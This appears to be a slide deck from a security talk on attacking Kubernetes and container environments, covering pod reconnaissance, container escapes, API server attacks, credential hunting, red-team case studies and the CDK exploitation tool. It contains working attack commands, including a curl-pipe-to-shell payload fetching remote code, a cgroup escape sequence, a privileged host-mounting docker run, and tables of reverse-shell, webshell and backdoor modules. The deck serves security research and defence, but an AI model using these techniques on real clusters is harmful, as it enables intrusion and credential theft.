Attack Cloud Native Kubernetes

ZEBIN ZHOU
Researcher, Tencent Force

YUE XU
Director, StarCross Technology
What Will You See Today

- Rise of the Cloud Native Containers
- New Challenge for Red Team
- Practical Attack Techniques
  - K8s Attack Surface Overview
  - Where(Pod/Namespace/Cluster) am I
  - Escaping Pod Container
  - Attack Intranet Service
  - Attack K8s API Server
  - From K8s to Cloud Service Compromise
- Real-world Red Team Attack Case
- The New Version of Open-sourced Container Exploitation Tool: CDK
Container Attacks on Cloud

Workloads Increasing Percent (Container VS VM)

Attack Increasing Percent (Container VS VM)

Growth of container workloads and attacks on Cloud

Attack Cloud Native Kubernetes
Botnets Enter the Container Battlefield

Botnets with container attack techniques (on cloud).

- 25 botnets calculated in 2019
- 17 botnets calculated in 2020

<table>
<thead>
<tr>
<th>Attack Techniques</th>
<th>Representative Botnet</th>
</tr>
</thead>
<tbody>
<tr>
<td>Backdoor image in dockerhub</td>
<td>Graboid</td>
</tr>
<tr>
<td>2375 Docker API Expose</td>
<td>Cetus,H2Miner,Ngrok,Doki,…</td>
</tr>
<tr>
<td>8080 K8s insecure API Expose</td>
<td>8220 Mining Group</td>
</tr>
<tr>
<td>6379 K8s API anonymous authorization</td>
<td>T3llyz</td>
</tr>
<tr>
<td>K8s Lateral Movement &amp; Persistence</td>
<td>BORG</td>
</tr>
</tbody>
</table>

Botnets integrated with Docker & K8s attack techniques
Red Team Attack Route: IDC VS Cloud Native Infrastructure

**Red Team in IDC**
- Control a server
- Information collection in current host
- Discover hosts and ports in private network
- More Server in different VLANs

**IT Staff**
- PC
- PAM/Jump Server
- Agent Master / IT Automation (e.g. SALTSTACK, Ansible...)
- Job System
- SSH Password Database

**DEV VLANs**
- TEST VLANs
- Pre-release VLANs

**Target**
- ALL SERVERs
- ALL DATABASEs

**Red Team in Cloud Native**
- Control a Container
- Container Escape
- Service Account
- More containers and hosts
- Credentials
- Cloud Resource
- kubectl / CRIO
- Kubernetes API Server
- Agent Master / IT Automation (e.g. SALTSTACK, Ansible...)

**Target**
- ALL CLOUD RESOURCE
- ALL DATABASEs
Challenge for Red Team

1. Exploit arbitrary file write as usual is hard.
   - No running /usr/sbin/cron -f
   - No running /usr/sbin/sshd -D
2. Only one application's informations in a container shell with limited life.
3. Operation not permitted of ptrace/strace/… and command not found of wget/curl/nslookup/…
4. New private networks in containers, Service Mesh, Kubernetes Service DNS and Network Policy make the network is different.

! 1. Redteam needs a complete and effective automation tool.
2. Redteam needs to establish a knowledge system about container, Kubernetes, cgroup, namespace, capability and other CloudNative technologies.
3. Redteam needs new skills about service discovery, internal network analysis, escape and privilege escalation and attack ingress and egress gateways.
Practical Attack Techniques
Cloud Native K8s Workloads Attack Surface

1) Public Network to Pod
2) Pod to other Pods/Services
3) Pod to Node (Escape)
4) Pod to Master Node Components
5) Pod to API Server
6) API Server to Other Pods/Nodes
7) K8s Cluster to Cloud Service
K8s Default Network Access

Attack Cloud Native Kubernetes
**Escape Container**

```sql
postgres=# COPY cmd_exec FROM PROGRAM 'ps auxf';
postgres=# COPY cmd_exec FROM PROGRAM 'cat /proc/1/cgroup';
postgres=# SELECT * FROM cmd_exec;
```

```
<table>
<thead>
<tr>
<th>USER</th>
<th>PID</th>
<th>%CPU</th>
<th>%MEM</th>
<th>VSZ</th>
<th>RSS</th>
<th>TTY</th>
<th>STAT</th>
<th>START</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>postgres</td>
<td>1</td>
<td>0.0</td>
<td>0.1</td>
<td>288240</td>
<td>18004</td>
<td>?</td>
<td>Ss</td>
<td>10:42</td>
<td>0:00</td>
<td>postgres</td>
</tr>
<tr>
<td>postgres</td>
<td>52</td>
<td>0.0</td>
<td>0.0</td>
<td>288240</td>
<td>3588</td>
<td>?</td>
<td>Ss</td>
<td>10:42</td>
<td>0:00</td>
<td>postgres: checkpointer process</td>
</tr>
<tr>
<td>postgres</td>
<td>53</td>
<td>0.0</td>
<td>0.0</td>
<td>288240</td>
<td>3332</td>
<td>?</td>
<td>Ss</td>
<td>10:42</td>
<td>0:00</td>
<td>postgres: writer process</td>
</tr>
<tr>
<td>postgres</td>
<td>54</td>
<td>0.0</td>
<td>0.0</td>
<td>288240</td>
<td>6240</td>
<td>?</td>
<td>Ss</td>
<td>10:42</td>
<td>0:00</td>
<td>postgres: wal writer process</td>
</tr>
<tr>
<td>postgres</td>
<td>55</td>
<td>0.0</td>
<td>0.0</td>
<td>288652</td>
<td>2928</td>
<td>?</td>
<td>Ss</td>
<td>10:42</td>
<td>0:00</td>
<td>postgres: autovacuum launcher process</td>
</tr>
<tr>
<td>postgres</td>
<td>56</td>
<td>0.0</td>
<td>0.0</td>
<td>143164</td>
<td>2016</td>
<td>?</td>
<td>Ss</td>
<td>10:42</td>
<td>0:00</td>
<td>postgres: stats collector process</td>
</tr>
<tr>
<td>postgres</td>
<td>707</td>
<td>0.0</td>
<td>0.0</td>
<td>289264</td>
<td>6804</td>
<td>?</td>
<td>Ss</td>
<td>15:26</td>
<td>0:00</td>
<td>postgres: postgres postgres 127.0.0.1(48187) COPY</td>
</tr>
<tr>
<td>postgres</td>
<td>708</td>
<td>0.0</td>
<td>0.0</td>
<td>4268</td>
<td>624</td>
<td>?</td>
<td>S</td>
<td>15:26</td>
<td>0:00</td>
<td>_ sh -c ps aux</td>
</tr>
<tr>
<td>postgres</td>
<td>709</td>
<td>0.0</td>
<td>0.0</td>
<td>38296</td>
<td>1628</td>
<td>?</td>
<td>S</td>
<td>15:26</td>
<td>0:00</td>
<td>_ ps aux</td>
</tr>
</tbody>
</table>
12:hugetlb:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/83eefb73fb5e942d5320e3973cfc488e2a0b5bf1a6b4742e399a570c6d33a0aa
11:pids:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/83eefb73fb5e942d5320e3973cfc488e2a0b5bf1a6b4742e399a570c6d33a0aa
9:cpuset:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/83eefb73fb5e942d5320e3973cfc488e2a0b5bf1a6b4742e399a570c6d33a0aa
....
(23 rows)```

Container is a process with isolation
1) Docker Components Vulnerability
   - Docker runc (CVE-2019-5736)
   - Docker cp (CVE-2019-13139)

2) Linux Kernel Vulnerability
   - DirtyCow (CVE-2016-5159)

3) Mounted Files
   - /docker.sock (docker daemon)
   - /containerd.sock (containerd daemon)
   - /var/run/secrets/kubernetes.io/serviceaccount/token
   - /proc, /etc, /root...

4) Shared Linux Namespace & Capabilities
   - Privileged Containers
     - Exploit shim (CVE-2020-15257) with net=host
     - Process Injection with CAP_SYS_PTRACE

12% Pod shares pid/net/cgroup on cloud
Where is the shell and his neighbors by default?

1) Where am I?
   - POD Name
   - POD IP

2) Which Namespace? In default namespace?

3) Which Node?

4) IP subnet of Node?

5) IP subnet of K8s Service?

6) Which cluster?
Service & Default DNS Rules

ServiceName                    Cluster Domain (—cluster-domain)

  kubernetes.default.svc.cluster.local
  force.tencent.svc.cluster.local

NameSpace
K8s Default Service \{name: kubernetes\}:443

- kubernetes.default
- kubernetes.default.svc
- kubernetes
- kubernetes.default.svc.cluster.local

curl -ik https://kubernetes.default.svc:443/api/v1/namespaces/default/pods

HTTP/2 403
content-type: application/json
x-content-type-options: nosniff
content-length: 310
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "details": {
    "kind": "pods"
  },
  "code": 403
}
Where is the shell and its neighbors by default?

POD Subnet:
- podSubnet/--cluster-cidr
  - default 172.17.0.12
  - default 172.17.0.3
  - default 172.17.0.4
  - default 172.17.0.5
  - Except kube-system

POD Name: hostname, DNS Reverse Lookup
IP: All containers in the POD share one POD IP (NET NS)
Namespace: In domain search, DNS Reverse Lookup
In default namespace: dig kubernetes
Node ip and subnet: cat /proc/net/arp
Service subnet: dig kubernetes.default, kube-dns nameserver
Cluster name: In domain search, (cat /etc/resolv.conf)

nameserver 10.x.x.x
search default.svc.cluster.local svc.cluster.local cluster.local
options ndots:5

serviceSubnet / --service-cluster-ip-range=10.96.0.0/12
10.102.14.42, 10.104.112.52 ...
Scan in Istio?

masscan 172.17.0.21 -p1-1000 --rate=500 -oX test.xml
1000 ports ALL OPEN

x-request-id: 6a9fb188-f6df-9dfd-a4a2-c32809649b49
x-envoy-peer-metadata-id: sidecar-172.17.0.18-tencent-force-pentest-for-all-test-not-hostnetwork.default-default.svc.cluster.local
x-envoy-attempt-count: 1
x-b3-traceid: a9ef94194db1763fd54b70c9c2a1cfcf
x-b3-spanid: d54b70c9ca2a1cfcf
x-envoy-peer-metadata: BASE64 DATA

NameSpace / PODNAME / IP / ContainerNames / Labels / ServiceAccount / TLS ... / PodPorts / UnprivilegedPod / ...

nmap -sV -p1-1000 -T4 172.17.0.21
1000 ports ALL Filtered
Scan in Istio?

Best port scanning for ISTIO: check host alive with ICMP, Identify service port/fingerprint in application layer.

```
nmap_rename -p 17 -iL all_ip_in_k8s.txt -sO -Pn (no work for service) / goistio_scan -iL nmap.output
```
K8s Component API: What to attack?

1. kubectl command (e.g. kubectl apply -f shell.yaml)
2. load ~/.kube/config
3. kubectl --(http)--> apiserver
4. apiserver --(http)--> kubelet rest api
5. kubelet --(http/docker.sock)--> docker api

Kube-apiserver *:8080/6443
Kubelet *:10250 (10255 read-only)
Dockerd *:2375
ETCD *:2379
Kubectl proxy --accept-hosts='^.*$' --address=0.0.0.0 *:8001

Attack Component unauth API listens from localhost, intranet

Attack Cloud Native Kubernetes
Collecting and hijacking cluster outgoing traffic helps to expose more attack surface, sometimes can get API gateway shell.

More important to blue-team, with API gateway you can bypass network blocking and build intranet tunnel.

Top Open-Sourced Cloud API Gateway:
- Kong Admin API unauthentication
- APISIXs Admin API default access
- Tyk default secret
- Goku-api-gateway default/weak password
...
Get Node Shell with API Server

Get Node Shell

1) Create privileged pod on target node.
2) **nodeSelector**: kubernetes.io/hostname: 9.208.3.47
3) `Kubectl websocket shell -chroot-> node shell`
Attack Cloud Service: Credential Exfiltration

Where to find credentials

1) Mounted files (/proc/mounts)
2) K8s Secret
3) ENV
4) Hardcode AK in project (e.g. PHP, Java)
5) Direct connect to ETCD
6) Cloud platform features
   (~/.aws/credentials, ~/.aws/config)
7) Cloud provider metadata API
   (including user pre-defined data)
8) Cloud service pods in master-node

```yaml
spec:
  containers:
    - command:
      - kube-apiserver
        - --audit-log-maxbackup=10
        - --audit-log-maxsize=100
        - --audit-log-path=/var/log/kubernetes/kubernetes.audit
        - --audit-log-maxage=30
        - --audit-policy-file=/etc/kubernetes/audit-policy.yml
        ...
        - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.pem
        - --etcd-certfile=/etc/kubernetes/pki/etcd/etcd-client.pem
        - --etcd-keyfile=/etc/kubernetes/pki/etcd/etcd-client-key.pem
        ...
        - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt
        - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key
        - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
        ...
```
Real-world Attack Case
#1 Zero-trust Network Using VPN? Bypass it!

---

**Answer Section:**

```bash
> curl -i https://ztgateway.innerxxx.com/ | --h "host: www.innerxxx.com"

HTTP/2 403
content-type: application/json; charset=utf-8
content-length: 129

{"code":403,"domain": "www.innerxxx.com","message": "Install and use the desktop client to browser it! ","result":null}"
```

---

**Attack Cloud Native Kubernetes**
#2 Get Shell in Serverless Pre-development Container

**PAYLOAD CASE 1 (HTTP RAW PACKAGE):**

```sh
touch /tmp/gitlab-ci-coverage.json
```

**PAYLOAD CASE 2 (EVIILE NODE.JS/NPM PROJECT):**

```sh
curl https://c.neargle.com/code.sh | sh
```

---

**PAYLOAD CASE 3 (HTTP BASIC AUTH):**

```sh
https://www.example.com/secret.php?user=cyryc&pass=cyryc
```
#3 Escaping Container with `sys_admin`

Container escape by write 'a *: wkm' to devices subsystem in current container cgroup.

```
root@163f750626d4:/sys/fs/cgroup/cgrouptest# echo a > "."/docker/163f750626da1e66cfa7f82c22be4f807e6696a3c4ae44652a4bf1ce412e3a/devices.allow
root@163f750626d4:/sys/fs/cgroup/cgrouptest# od /tmp
root@163f750626d4:/tmp# mknod mknod_near b 252 1
root@163f750626d4:/tmp# debugfs -w mknod_near
debugfs 1.42.13 (17-May-2015)
debugfs: list_directory -l /root/.ssh/
395231 40700 (2) 0 0 4096 22-Nov-2020 15:59 .
52566 40550 (2) 0 0 4096 30-Jan-2021 16:26 ..
395870 100600 (1) 0 0 1145 26-Jan-2021 04:06 authorized_keys
395829 100644 (1) 0 0 247 7-Aug-2020 07:01 config
395860 100644 (1) 0 0 725 16-Dec-2020 30:53 known_hosts
393227 100600 (1) 0 0 1675 22-Nov-2020 15:59 id_rsa
395831 100644 (1) 0 0 391 22-Nov-2020 15:59 id_rsa.pub
```

Full exploit code see:
#5 Exploit `docker.sock` Proxy

**Zero Trust Ingress Public Gateway**

**Serveless, inner.co**

code preinstall container with sys_admin (public)

current host

crI agent for web console

other containers in other hosts

other hosts

code / cookie / ...

call cloud resource

**POST /api/v1/new_exec_session HTTP/1.1**
**Connection: close**
**Content-Type: json**

{""containers_id":
"cd2cb75d3fada3f31e18e04f09d168f89b53b70e39bc448de59f363344e3c8b","cmd": "pwd"}

**POST /v1.24/containers/cd2cb75d3fada3f31/exec HTTP/1.1**
**Content-Type: application/json**

{"Cmd": ["pwd"], "Tty": true, "Privileged": true, ...}

**How to guess all container IDs on other hosts?**

If there are only two containers running on the host:

cd2cb75d3fada3f31e18e04f09d168f89b53b70e39bc448de59f363344e3c8b

status: Up 4 months
cdd08be4297dce2e89558af4be5427e853b008a0797eab15197f944a2abab1

status: Exited (0) 2 days ago

the behavior of unix://var/run/docker.sock like this:

/v1.24/containers/cd/executor -> container id multiple
/v1.24/containers/ca/executor -> container id not found
/v1.24/containers/odd/executor -> container not starting

so we can use docker short-id feature to fuzz all container short-id on host.
#6 Escape Log Collecting Sidecat Pods

```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: filebeat-logsystem

spec:
  template:
    spec:
      hostNetwork: true
      dnsPolicy: ClusterFirstWithHostNet
      containers:
        - name: filebeat
          args: [
            "-c", "/etc/filebeat.yml",
            ",",
          ]
          securityContext:
            runAsUser: 0
            # If using Red Hat OpenShift uncomment this;
            # privileged: true
          volumeMounts:
            - name: logpath
              mountPath: /hostfs/
          volumes:
            - name: logpath
              hostPath:
                path: /

shell.1 root@logsystem-filebeat-pod:/tmp# chroot /hostfs
shell.2 sb-4.2# docker -H unix:///var/run/docker.sock run -it --name rshellx -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest /bin/sh
shell.3 / # chroot /rootfs/
shell.4 [root@VM_50_68_centos ~]# / ps auxf
```

**Note:**
This is almost the default setting in
https://github.com/elastic/beats/blob/master/deploy/kubernetes/filebeat/filebeat-daemonset.yaml

Many escape tricks that may work here, please refer to:
https://github.com/cdk-team/CDK#exploit-module
#7 Kubernetes API Server and More

1. Admin kubeconfig file in /home/user/.kube/config
2. Cloud API/IAM access key (access key ID / secret access key / secretid / secretkey) in code / env / config file / configmap
3. Find the kubernetes master node and container on it (most of them are in kube-system namespace) then hack them.
4. Now you can use tcpdump, strace ... in many host shell to get user cookie in nginx, root password in sshd and so on.
5. CDK can make your pentest more concise and convenient in multiple steps.
The Open-sourced Tool: CDK
CDK is a CLI tool which allows you to:

1. Evaluate weakness in containers or K8s pods.
2. Exploit multiple container vulnerabilities.
3. Perform common container post-exploitation actions.
4. Provide capability when host-based tools are not available in the container.
5. Perform the above in a manual or automated approach.
## CDK - Modules

### Evaluate Weakness

<table>
<thead>
<tr>
<th>Tactics</th>
<th>Script</th>
</tr>
</thead>
<tbody>
<tr>
<td>Information Gathering</td>
<td>OS Basic Info</td>
</tr>
<tr>
<td>Information Gathering</td>
<td>Available Capabilities</td>
</tr>
<tr>
<td>Information Gathering</td>
<td>Available Linux Commands</td>
</tr>
<tr>
<td>Information Gathering</td>
<td>Mounts</td>
</tr>
<tr>
<td>Information Gathering</td>
<td>Net Namespace</td>
</tr>
<tr>
<td>Information Gathering</td>
<td>Sensitive ENV</td>
</tr>
<tr>
<td>Information Gathering</td>
<td>Sensitive Process</td>
</tr>
<tr>
<td>Information Gathering</td>
<td>Sensitive Local Files</td>
</tr>
<tr>
<td>Information Gathering</td>
<td>Kube-proxy Route Localnet(CVE-2020-8558)</td>
</tr>
<tr>
<td>Discovery</td>
<td>K8s Api-server Info</td>
</tr>
<tr>
<td>Discovery</td>
<td>K8s Service-account Info</td>
</tr>
<tr>
<td>Discovery</td>
<td>Cloud Provider Metadata API</td>
</tr>
</tbody>
</table>

### Exploits

<table>
<thead>
<tr>
<th>Tactic</th>
<th>Technique</th>
</tr>
</thead>
<tbody>
<tr>
<td>Escaping</td>
<td>docker-runc CVE-2019-5736</td>
</tr>
<tr>
<td>Escaping</td>
<td>containerd-shim CVE-2020-15257</td>
</tr>
<tr>
<td>Escaping</td>
<td>docker.sock PoC (DIND attack)</td>
</tr>
<tr>
<td>Escaping</td>
<td>docker.sock Backdoor Image Deploy</td>
</tr>
<tr>
<td>Escaping</td>
<td>Device Mount Escaping</td>
</tr>
<tr>
<td>Escaping</td>
<td>Cgroups Escaping</td>
</tr>
<tr>
<td>Escaping</td>
<td>Procs Escaping</td>
</tr>
<tr>
<td>Escaping</td>
<td>Ptrace Escaping PoC</td>
</tr>
<tr>
<td>Escaping</td>
<td>Rewrite Cgroup(devices.allow)</td>
</tr>
<tr>
<td>Discovery</td>
<td>K8s Component Probe</td>
</tr>
<tr>
<td>Discovery</td>
<td>Dump Istio Sidecar Meta</td>
</tr>
<tr>
<td>Remote Control</td>
<td>Reverse Shell</td>
</tr>
<tr>
<td>Credential Access</td>
<td>Access Key Scanning</td>
</tr>
<tr>
<td>Credential Access</td>
<td>Dump K8s Secrets</td>
</tr>
<tr>
<td>Credential Access</td>
<td>Dump K8s Config</td>
</tr>
<tr>
<td>Persistence</td>
<td>Deploy WebShell</td>
</tr>
<tr>
<td>Persistence</td>
<td>Deploy Backdoor Pod</td>
</tr>
<tr>
<td>Persistence</td>
<td>Deploy Shadow K8s api-server</td>
</tr>
</tbody>
</table>

### Tools

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>nc</td>
<td>TCP Tunnel</td>
</tr>
<tr>
<td>ps</td>
<td>Process Information</td>
</tr>
<tr>
<td>ifconfig</td>
<td>Network Information</td>
</tr>
<tr>
<td>vi</td>
<td>Edit Files</td>
</tr>
<tr>
<td>kcurl</td>
<td>Request to K8s api-server</td>
</tr>
<tr>
<td>dcurl</td>
<td>Request to Docker HTTP API</td>
</tr>
<tr>
<td>ucurl</td>
<td>Request to Docker Unix Socket</td>
</tr>
<tr>
<td>rcurl</td>
<td>Request to Docker Registry API</td>
</tr>
<tr>
<td>probe</td>
<td>IP/Port Scanning</td>
</tr>
</tbody>
</table>
## The Lightweight Release

<table>
<thead>
<tr>
<th>Tactic</th>
<th>Technique</th>
<th>CDK Exploit Name</th>
<th>Supported</th>
<th>In Thin</th>
<th>Doc</th>
<th>Link</th>
</tr>
</thead>
<tbody>
<tr>
<td>Escaping</td>
<td>docker-runc CVE-2019-5736</td>
<td>runc-pwn</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Escaping</td>
<td>contained-shim CVE-2020-15257</td>
<td>shim-pwn</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Escaping</td>
<td>docker.sock PoC (DIND attack)</td>
<td>docker-sock-check</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Escaping</td>
<td>docker.sock RCE</td>
<td>docker-sock-pwn</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Escaping</td>
<td>Docker API(12376) RCE</td>
<td>docker-api-pwn</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Escaping</td>
<td>Device Mount Escaping</td>
<td>mount-disk</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Escaping</td>
<td>LXCFS Escaping</td>
<td>lxcfs-rw</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Escaping</td>
<td>Cgroups Escaping</td>
<td>mount-cgroup</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Escaping</td>
<td>Proofs Escaping</td>
<td>mount-proofs</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Escaping</td>
<td>Ptrace Escaping PoC</td>
<td>check-ptrace</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Escaping</td>
<td>Rewrite Cgroup(devices.allow)</td>
<td>rewrite-cgroup-devices</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Discovery</td>
<td>KBs Component Probe</td>
<td>service-probe</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Discovery</td>
<td>Dump Istio Sidecar Meta</td>
<td>istio-check</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Discovery</td>
<td>Dump KBs Pod Security Policies</td>
<td>k8s-psp-dump</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Remote Control</td>
<td>Reverse Shell</td>
<td>reverse-shell</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Credential Access</td>
<td>Access Key Scanning</td>
<td>ak-leakage</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Credential Access</td>
<td>Dump KBs Secrets</td>
<td>k8s-secret-dump</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Credential Access</td>
<td>Dump KBs Config</td>
<td>k8s-configmap-dump</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Privilege Escalation</td>
<td>KBs RBAC Bypass</td>
<td>k8s-get-sa-token</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Persistence</td>
<td>Deploy WebShell</td>
<td>webshell-deploy</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Persistence</td>
<td>Deploy Backdoor Pod</td>
<td>k8s-backdoor-daemonset</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Persistence</td>
<td>Deploy Shadow KBs api-server</td>
<td>k8s-shadow-apiserver</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Persistence</td>
<td>KBs MITM Attack (CVE-2020-8554)</td>
<td>k8s-mitm-clusterip</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
<tr>
<td>Persistence</td>
<td>Deploy KBs CronJob</td>
<td>k8s-cronjob</td>
<td>✓</td>
<td></td>
<td></td>
<td>link</td>
</tr>
</tbody>
</table>

### Files
- `cdk_darwin_amd64` 11.9 MB
- `cdk_linux_386` 9.71 MB
- `cdk_linux_386_thin` 4.64 MB
- `cdk_linux_386_thin_upx` 1.97 MB
- `cdk_linux_386_upx` 3.65 MB
- `cdk_linux_amd64` 11.2 MB
- `cdk_linux_amd64_thin` 5.48 MB
- `cdk_linux_amd64_thin_upx` 2.14 MB
- `cdk_linux_amd64_upx` 4.11 MB
- `cdk_linux_arm` 9.69 MB
- `cdk_linux_arm64` 10.4 MB
- `cdk_linux_arm64_thin` 5.13 MB

- [Source code (zip)]
- [Source code (tar.gz)]
Q&A

Thank you for your attention